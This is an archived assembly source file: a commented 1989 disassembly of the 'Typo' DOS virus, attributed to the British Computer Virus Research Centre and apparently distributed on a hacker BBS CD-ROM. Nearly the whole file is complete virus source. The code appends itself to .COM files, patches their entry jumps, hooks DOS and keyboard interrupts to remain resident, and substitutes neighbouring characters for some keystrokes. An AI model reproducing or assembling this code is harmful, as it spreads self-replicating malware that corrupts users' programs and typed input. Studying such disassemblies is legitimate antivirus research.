home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TYPO.ASM < prev   
Assembly Source File  |  1992-11-07  |  12KB  |  434 lines

  1.     page    65,132
  2.     title    The 'Typo' Virus
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                           The 'Typo' Virus                               ║
  9. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17. VECTOR    SEGMENT AT 0
  18.  
  19.     ; Interrupt vectors
  20.  
  21.     ORG    58H
  22. BW0058    DW    ?            ; Interrupt 16H offset
  23. BW005A    DW    ?            ; Interrupt 16H segment
  24.     ORG    80H
  25. BW0080    DW    ?            ; Interrupt 20H offset
  26. BW0082    DW    ?            ; Interrupt 20H segment
  27. BW0084    DW    ?            ; Interrupt 21H offset
  28. BW0086    DW    ?            ; Interrupt 21H segment
  29.  
  30. VECTOR    ENDS
  31.  
  32. RAM    SEGMENT AT 400H
  33.  
  34.     ; System data
  35.  
  36.     ORG    6CH
  37. BW046C    DW    ?            ; System clock
  38.  
  39. RAM    ENDS
  40.  
  41. HOST    SEGMENT AT 0
  42.  
  43.     ORG    2CH
  44. DW002C    DW    ?
  45.     ORG    0D0H
  46. DW00D0    EQU    THIS WORD
  47. DB00D0    DB    ?
  48.     ORG    100H
  49. DB0100    DB    ?
  50. DW0101    DW    ?
  51.  
  52. HOST    ENDS
  53.  
  54. CODE    SEGMENT BYTE PUBLIC 'CODE'
  55.  
  56.     ASSUME    CS:CODE,DS:HOST
  57.  
  58.     DB    'V1'            ; Signature
  59.     DB    0E9H, 1, 0        ; Jump for start of host
  60.     DB    '*.COM', 0        ; File spec for infection
  61.     DB    0CEH, 0CDH, 20H        ; File start read buffer
  62.     DB    'V1'            ; Signature test read buffer
  63.     DW    5            ; File handle
  64.     DB    0CDH, 20H, 90H        ; Start of host
  65.     DB    0
  66.     DW    5AH            ; Generation count
  67.     DB    0
  68.  
  69.     ; Entry point
  70.  
  71. START:    PUSH    BX
  72.     PUSH    CX
  73.     PUSH    DX
  74.     PUSH    DS
  75.     PUSH    ES
  76.     PUSH    SI
  77.     PUSH    CS
  78.     POP    DS
  79.     CALL    BP0024            ; \ Get current address
  80. BP0024:    POP    SI            ; /
  81.     SUB    SI,24H            ; Relocate from start of virus
  82.     DEC    WORD PTR [SI+16H]    ; Subtract from generation count
  83.     CMP    WORD PTR [SI+16H],3    ; Is generation count three?
  84.     JNE    BP0036            ; Branch if not
  85.     MOV    WORD PTR [SI+16H],005BH    ; Reset generation count to 91
  86. BP0036:    CALL    BP02BE            ; Test system for infection
  87.     MOV    DX,00D0H        ; Temp default DTA
  88.     MOV    AH,1AH            ; Set DTA function
  89.     INT    21H            ; DOS service
  90.     MOV    AL,[SI+0BH]        ; \ Save start of host (1)
  91.     MOV    [SI+12H],AL        ; /
  92.     MOV    AX,[SI+0CH]        ; \ Save start of host (2)
  93.     MOV    [SI+13H],AX        ; /
  94.     MOV    AH,2AH            ; Get date function
  95.     INT    21H            ; DOS service
  96.     TEST    DL,1            ; First of month?
  97.     JNZ    BP0074            ; Branch if not
  98.     MOV    DX,SI            ; \ Address '*.COM'
  99.     ADD    DX,5            ; /
  100.     nop
  101.     XOR    CX,CX            ; No attributes
  102.     MOV    AH,4EH            ; Find first file function
  103.     INT    21H            ; DOS service
  104.     JB    BP0074            ; Branch if not found
  105. BP0063:    CALL    BP0092            ; Test for infection
  106.     MOV    DX,SI            ; \ Address '*.COM'
  107.     ADD    DX,5            ; /
  108.     nop
  109.     XOR    CX,CX            ; No attributes
  110.     MOV    AH,4FH            ; Find next file function
  111.     INT    21H            ; DOS service
  112.     JNB    BP0063            ; Branch if found
  113. BP0074:    MOV    AL,[SI+12H]        ; \ Restore start of host (1)
  114.     MOV    DB0100,AL        ; /
  115.     MOV    AX,[SI+13H]        ; \ Restore start of host (2)
  116.     MOV    DW0101,AX        ; /
  117.     MOV    DX,0080H        ; Original default DTA
  118.     MOV    AH,1AH            ; Set DTA function
  119.     INT    21H            ; DOS service
  120.     POP    SI
  121.     POP    ES
  122.     POP    DS
  123.     POP    DX
  124.     POP    CX
  125.     POP    BX
  126.     MOV    AX,0100H        ; \ Branch to start of host
  127.     JMP    AX            ; /
  128.  
  129.     ; Test for infection in COM file
  130.  
  131. BP0092:    MOV    AX,4301H        ; Set file attributes function
  132.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  133.     XOR    CX,CX            ; No attributes
  134.     INT    21H            ; DOS service
  135.     MOV    AX,3D02H        ; Open handle (R/W) function
  136.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  137.     INT    21H            ; DOS service
  138.     JNB    BP00A9            ; Branch if no error
  139.     JMP    BP015D            ; Return
  140.  
  141. BP00A9:    MOV    [SI+10H],AX        ; Save file handle
  142.     MOV    BX,AX            ; Move file handle
  143.     MOV    AH,3FH            ; Read handle function
  144.     MOV    CX,3            ; Length to read
  145.     MOV    DX,SI            ; \ Address start-of-host store
  146.     ADD    DX,000BH        ; /
  147.     nop
  148.     INT    21H            ; DOS service
  149.     CMP    BYTE PTR [SI+0BH],0E9H    ; Is it a jump?
  150.     JNE    BP00F1            ; Branch if not
  151.     MOV    DX,[SI+0CH]        ; \ 
  152.     SUB    DX,16H            ; /
  153.     XOR    CX,CX            ; No high offset
  154.     MOV    AX,4200H        ; Move file pointer function
  155.     MOV    BX,[SI+10H]        ; Get file handle
  156.     INT    21H            ; DOS service
  157.     MOV    BX,AX            ; Move actual offset (? not used)
  158.     MOV    AH,3FH            ; Read handle function
  159.     MOV    CX,2            ; Length to read
  160.     MOV    DX,SI            ; \ Address signature test buffer
  161.     ADD    DX,000EH        ; /
  162.     nop
  163.     MOV    BX,[SI+10H]        ; Get file handle
  164.     INT    21H            ; DOS service
  165.     JB    BP014A            ; Branch if error
  166.     CMP    AX,0            ; Did we read anything?
  167.     JE    BP00F1            ; Branch if not
  168.     MOV    AX,[SI+0EH]        ; Get signature test
  169.     CMP    AX,[SI]            ; Is it signature?
  170.     JE    BP014A            ; Branch if yes
  171. BP00F1:    XOR    CX,CX            ; \ No offset
  172.     XOR    DX,DX            ; /
  173.     MOV    AX,4202H        ; Move file pointer function (EOF)
  174.     MOV    BX,[SI+10H]        ; Get file handle
  175.     INT    21H            ; DOS service
  176.     JB    BP014A            ; Branch if error
  177.     SUB    AX,3            ; Convert length to jump offset
  178.     MOV    [SI+3],AX        ; Store in jump
  179.     MOV    BX,[SI+10H]        ; Get file handle
  180.     MOV    AH,40H            ; Write handle function
  181.     MOV    CX,OFFSET ENDADR    ; Length of virus
  182.     NOP
  183.     MOV    DX,SI            ; \ Address start of virus
  184.     ADD    DX,0            ; /
  185.     nop
  186.     INT    21H            ; DOS service
  187.     JB    BP014A            ; Branch if error
  188.     ADD    WORD PTR [SI+3],19H    ; Add entry point offset to jump offset
  189.     XOR    DX,DX            ; \ No offset
  190.     XOR    CX,CX            ; /
  191.     MOV    AX,4200H        ; Move file pointer function
  192.     MOV    BX,[SI+10H]        ; Get file handle
  193.     INT    21H            ; DOS service
  194.     JB    BP014A            ; Branch if error
  195.     MOV    BX,[SI+10H]        ; Get file handle
  196.     MOV    AH,40H            ; Write handle function
  197.     MOV    CX,3            ; Length of jump
  198.     MOV    DX,SI            ; \ Address initial jump
  199.     ADD    DX,2            ; /
  200.     nop
  201.     INT    21H            ; DOS service
  202.     MOV    AX,5701H        ; Set file date & time function
  203.     MOV    BX,[SI+10H]        ; Get file handle
  204.     MOV    CX,DW00D0+16H        ; Get file time from DTA
  205.     MOV    DX,DW00D0+18H        ; Get file date from DTA
  206.     INT    21H            ; DOS service
  207. BP014A:    MOV    BX,[SI+10H]        ; Get file handle
  208.     MOV    AH,3EH            ; Close handle function
  209.     INT    21H            ; DOS service
  210.     MOV    AX,4301H        ; Set file attributes function
  211.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  212.     MOV    CL,DB00D0+15H        ; Get attributes from DTA
  213.     INT    21H            ; DOS service
  214. BP015D:    RET
  215.  
  216.     ; Interrupt 16H routine
  217.  
  218. BP015E:    STI
  219.     CMP    AH,0DDH            ; Infection test function?
  220.     JNE    BP0167            ; Branch if not
  221.     MOV    AL,AH            ; Copy function number
  222.     IRET
  223.  
  224. BP0167:    CMP    AH,0            ; Get key token?
  225.     JE    BP01D8            ; Branch if yes
  226.     DB    0EAH            ; Far jump
  227. DW016D    DW    0488H            ; Int 16H offset
  228. DW016F    DW    39D8H            ; Int 16H segment
  229.  
  230. DW0171    DW    0FA76H
  231. DW0173    DW    0F9DCH
  232. DW0175    DW    005AH
  233.  
  234. DB0177    DB    060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H
  235.     DB    038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H
  236.     DB    040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H
  237.     DB    029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H
  238.     DB    074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH
  239.     DB    05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH
  240.     DB    06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H
  241.     DB    062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H
  242.     DB    045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H
  243.     DB    07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H
  244.     DB    04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H
  245.     DB    043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH
  246.     DB    02EH
  247.  
  248. BP01D8:    PUSH    SI
  249.     CALL    BP01DC            ; \ Get current address
  250. BP01DC:    POP    SI            ; /
  251.     PUSHF
  252.     CALL    DWORD PTR CS:[SI-6FH]    ; Execute original BIOS call
  253.     PUSH    BX
  254.     PUSH    ES
  255.     MOV    BX,0040H        ; \ Address system RAM
  256.     MOV    ES,BX            ; /
  257.     ASSUME    ES:RAM
  258.     MOV    BX,BW046C        ; Get system clock, low word
  259.     PUSH    BX
  260.     SUB    BX,CS:[SI-6BH]        ; DW0171
  261.     CMP    BX,2
  262.     POP    BX
  263.     MOV    CS:[SI-6BH],BX
  264.     JG    BP0236
  265.     XCHG    BX,CS:[SI-69H]        ; DW0173
  266.     SUB    BX,CS:[SI-69H]
  267.     NEG    BX
  268.     CMP    BX,CS:[SI-67H]        ; DW0175
  269.     JL    BP0236
  270.     DEC    WORD PTR CS:[SI-67H]
  271.     CMP    WORD PTR CS:[SI-67H],6
  272.     JE    BP021E
  273.     MOV    WORD PTR CS:[SI-67H],005BH
  274. BP021E:    SUB    SI,65H
  275.     PUSH    CX
  276.     MOV    CX,0061H
  277. BP0225:    CMP    AL,CS:[SI]
  278.     JE    BP0231
  279.     INC    SI
  280.     LOOP    BP0225
  281.     POP    CX
  282.     JMP    BP0236
  283.  
  284. BP0231:    POP    CX
  285.     MOV    AL,CS:[SI+1]
  286. BP0236:    POP    ES
  287.     POP    BX
  288.     POP    SI
  289.     RETF    2
  290.  
  291.     ; Interrupt 21H routine
  292.  
  293.     ASSUME    ES:NOTHING
  294. BP023C:    CMP    AH,0            ; Terminate program?
  295.     JE    BP0246            ; Branch if yes
  296.     CMP    AH,4CH            ; Load?
  297.     JNE    BP025F            ; Branch if not
  298. BP0246:    CALL    BP026D            ; Install virus in memory
  299.     MOV    DX,CS:DW002C        ; \ Set ES to environment block
  300.     MOV    ES,DX            ; /
  301.     MOV    BX,0            ; Zero length
  302.     MOV    AH,4AH            ; Set block function
  303.     INT    21H            ; DOS service
  304.     MOV    DX,001DH        ; \ Length to keep
  305.     ADD    DX,1            ; /
  306.     MOV    AH,31H            ; Keep process function
  307. BP025F:    DB    0EAH            ; Far jump
  308. DW0260    DW    2DEAH            ; Int 21H offset
  309. DW0262    DW    4242H            ; Int 21H segment
  310.  
  311.     ; Interrupt 20H routine
  312.  
  313. BP0264:    MOV    AX,4C00H        ; Fake a load
  314.     JMP    BP023C            ; Process as a DOS service
  315.  
  316. DW0269    DW    2C08H            ; Int 20H offset
  317. DW026B    DW    4242H            ; Int 20H segment
  318.  
  319.     ; Install virus in memory
  320.  
  321. BP026D:    PUSH    CX
  322.     PUSH    DI
  323.     PUSH    SI
  324.     PUSH    ES
  325.     CALL    BP0274            ; \ Get current address
  326. BP0274:    POP    SI            ; /
  327.     PUSH    SI
  328.     MOV    DI,0100H        ; Address start of area
  329.     MOV    CX,OFFSET BP023C-BP015E    ; Length to copy
  330. BP027C:    MOV    AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte
  331.     MOV    CS:[DI],AL        ; Store in new location
  332.     INC    SI            ; Next input position
  333.     INC    DI            ; Next output position
  334.     LOOP    BP027C            ; Repeat to end of area
  335.     POP    SI
  336.     XOR    CX,CX            ; \ Address zero
  337.     MOV    ES,CX            ; /
  338.     ASSUME    ES:VECTOR
  339.     MOV    CX,CS:[SI-14H]        ; \ Restore Int 21H offset
  340.     MOV    BW0084,CX        ; /
  341.     MOV    CX,CS:[SI-12H]        ; \ Restore Int 21H segment
  342.     MOV    BW0086,CX        ; /
  343.     MOV    CX,CS:[SI-0BH]        ; \ Restore Int 20H offset
  344.     MOV    BW0080,CX        ; /
  345.     MOV    CX,CS:[SI-9]        ; \ Restore Int 20H segment
  346.     MOV    BW0082,CX        ; /
  347.     MOV    CX,0100H        ; \ Install moved area as Int 16H
  348.     MOV    BW0058,CX        ; /
  349.     ASSUME    ES:NOTHING
  350.     POP    ES
  351.     POP    SI
  352.     POP    DI
  353.     POP    CX
  354.     RET
  355.  
  356.     ; Test system for infection
  357.  
  358. BP02BE:    PUSH    AX
  359.     XOR    AL,AL            ; Clear register
  360.     MOV    AH,0DDH            ; Infection test function
  361.     INT    16H            ; Keyboard I/O
  362.     CMP    AL,AH            ; Are they the same
  363.     JNE    BP02CB            ; Branch if not
  364.     POP    AX
  365.     RET
  366.  
  367.     ; Install interrupts
  368.  
  369. BP02CB:    PUSH    BX
  370.     PUSH    SI
  371.     PUSH    ES
  372.     MOV    DX,[SI+16H]        ; Get generation count
  373.     CALL    BP02D4            ; \ Get current address
  374. BP02D4:    POP    SI            ; /
  375.     PUSH    BX
  376.     PUSH    ES
  377.     MOV    BX,0040H        ; \ Address system RAM
  378.     MOV    ES,BX            ; /
  379.     ASSUME    ES:RAM
  380.     MOV    BX,BW046C        ; Get system clock, low word
  381.     MOV    CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word
  382.     MOV    CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word
  383.     ASSUME    ES:NOTHING
  384.     POP    ES
  385.     POP    BX
  386.     MOV    [SI+DW0175-BP02D4],DX    ; Save generation count
  387.     XOR    AX,AX            ; \ Address zero
  388.     MOV    ES,AX            ; /
  389.     ASSUME    ES:VECTOR
  390.     MOV    AX,BW0084        ; \ Save Int 21H offset (DW0260)
  391.     MOV    CS:[SI-74H],AX        ; 
  392.     MOV    AX,BW0086        ; \ Save Int 21H segment (DW0262)
  393.     MOV    CS:[SI-72H],AX        ; 
  394.     MOV    AX,BW0058        ; \ Save Int 16H offset (DW016D)
  395.     MOV    CS:[SI+0FE99H],AX    ; /
  396.     MOV    AX,BW005A        ; \ Save Int 16H segment (DW016F)
  397.     MOV    CS:[SI+0FE9BH],AX    ; /
  398.     MOV    AX,BW0080        ; \ Save Int 20H offset (DW0269)
  399.     MOV    CS:[SI-6BH],AX        ; /
  400.     MOV    AX,BW0082        ; \ Save Int 20H segment (DW026B)
  401.     MOV    CS:[SI-69H],AX        ; /
  402.     CLI
  403.     PUSH    CS            ; \ Set Int 21H segment
  404.     POP    BW0086            ; /
  405.     MOV    BW0084,SI        ; \ Set Int 21H offset (BP023C)
  406.     SUB    BW0084,0098H        ; /
  407.     PUSH    CS            ; \ Set Int 20H segment
  408.     POP    BW0082            ; /
  409.     MOV    BW0080,SI        ; \ Set Int 20H offset (BP0264)
  410.     SUB    BW0080,70H        ; /
  411.     PUSH    CS            ; \ Set Int 16H segment
  412.     POP    BW005A            ; /
  413.     MOV    BW0058,SI        ; \ Set Int 16H offset (BP015E)
  414.     SUB    BW0058,0176H        ; /
  415.     STI
  416.     ASSUME    ES:NOTHING
  417.     POP    ES
  418.     POP    SI
  419.     POP    BX
  420.     POP    AX
  421.     RET
  422.  
  423. ENDADR    EQU    $
  424.  
  425. CODE    ENDS
  426.  
  427.     END
  428. 
  429. ; ─────────────────────────────────────────────────────────────────────────
  430. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  431. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  432. ; ─────────────────────────────────────────────────────────────────────────
  433.  
  434.